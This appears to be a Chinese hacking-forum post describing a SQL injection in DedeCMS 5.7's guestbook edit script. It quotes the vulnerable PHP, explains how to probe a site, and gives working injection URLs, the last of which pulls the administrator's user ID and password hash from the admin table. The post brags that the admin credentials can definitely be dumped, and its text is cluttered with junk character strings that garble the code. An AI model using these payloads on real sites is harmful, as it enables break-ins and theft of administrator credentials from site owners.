dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
0 U4 t; s2 ]/ {% s4 Z' p
9 O' P) f' p/ u! t2 b! K2 p' z  \6 p漏洞文件edit.inc.php具体代码：
7 t! @# J  x! F9 S
< ?php  

- |6 M, L7 W! Q% c- q& y5 oif(!defined('DEDEINC')) exit('Request Error!');  
  |" s$ ?3 g9 x
* O- _' t( {, I' H& [% ~; E   

6 b6 B9 o: C: U0 n8 }if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
. [/ s! U# @2 E1 t
& o' Y. w0 D* O( T5 l/ ^: Pelse $GUEST_BOOK_POS = "guestbook.php";  
: l# }; I$ s0 ^
   
2 H' P) `3 Z% _* U$ f. q. C
% N" L/ m6 T0 l$ a* U( N" m% d# K- N$id = intval($id);  

8 M: s, n+ S- O5 E: ?2 e0 zif(empty($job)) $job='view';  
- I* g* {2 T: p+ }; Z' M) ?# I3 x
   

, ?0 c& P' W2 H0 M+ @7 rif($job=='del' && $g_isadmin)  
( f  ^4 V# p! i0 E7 I' |6 a$ p
{  

& B. @8 i+ P' N1 Z( P9 c3 f$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
" [' ?& g  i% [; z! c! L, \! m* [9 y
3 c; O4 P6 H1 a' A  t: w+ L; `8 ^ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
6 E5 P5 @4 x. D
exit();  
) U# G3 |" V8 G* Y+ H  V
# a, Q$ g+ B! E  j2 k$ y}  
& [) Y( D% h* i- u; j
else if($job=='check' && $g_isadmin)  
  y. @1 Y( M+ O% s3 w
/ ^# {& J$ W4 C! b/ }/ U" [& A+ x4 ~3 v{  
0 c$ T" V/ F" b: b$ w/ I& D" k2 I
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

6 D4 \3 W" r7 ?. @- `( Z  ^ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
! K; I1 L0 f- ~- [5 r; J& l
exit();  

}  

else if($job=='editok')  

{  

/ N7 b/ F  m6 I4 X$remsg = trim($remsg);  
: {) b/ {: I$ j5 p3 ]4 ]* [/ _# ^
if($remsg!='')  

; p" A& q7 d* S1 N5 S5 b# @* p{  
' f& ~2 q5 g- s  Q8 g
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
+ K. J( q1 e! f9 E5 ]" e. I& c9 h# `
if($g_isadmin)  
5 Y: t, _9 C. a1 k
) U* p# b7 @1 \. u{  
- h! c0 U, |  [
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

1 S$ N$ I; s' P( f/ J# Pelse

+ k# l/ V( _# [7 k' d{  
- I$ u4 c  c3 z; s& x9 ^: M
2 y" J# z  s. i7 z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
9 ?! i3 p$ R6 N0 S. Z& J
$ o8 ]& H/ ~. I9 ~" U$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  
% ?4 }& \* H9 ^
/ s$ W5 ~; R% W- M}  
( c5 A' f( T! a" P2 \1 z) w
}  
$ B! E4 g5 B; R$ U/ B1 T! A
6 t3 R3 ~4 C; |) u! Q# M//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
0 X' M& x% P1 z' t3 E* }' c$ k
! j0 `# ]* k. G. g. aexit();  
( K. \0 m$ F; H7 g" C* ~
( A+ O& ^/ \5 r$ g$ u3 U6 Y6 H4 M}  
; a) [0 [; t. F
//home:www.errs.cc  
7 P7 j. Z5 \2 `+ @0 S' A' e
9 v3 N( x7 D* P- ^5 ~  Eif($g_isadmin)  

. H3 a" q! J9 U! M9 D{  

" Q  K; j+ ~1 g* w. `1 w! H$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
5 w/ Y$ I5 _6 W( y/ T( e9 M
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

) L1 U2 H: Z+ D" e" X% q}  

else
# g# F4 l! ?& ^1 |
{  

4 |7 D5 T/ t$ L3 l) Y$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

8 h( I! M) @' ~, \; [& D. ~9 Lrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
- k, C4 x) I9 s. n
} 漏洞成功需要条件：
! O) @3 i- A$ O: n1. php magic_quotes_gpc=off
5 @* X7 l5 d1 u' l* G5 C. Y: G2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 D! q- f) A, P+ C9 o- l, F
) M+ p' z: D9 ^, P: e% p$ R2 i怎么判断是否存在漏洞：
, L' R  ?$ c& s; }6 H先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
% T; S! N+ ^: P! Q
& }& k2 |3 r" O: v2 P( bwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

0 J3 T7 O- D1 v$ ~. Z! A
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
5 f/ C( u: A, x3 t5 a6 C3 j
大概利用就是这样，大家有兴趣的多研究下！！

5 f, L3 T% ~- Z# F& _& z最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='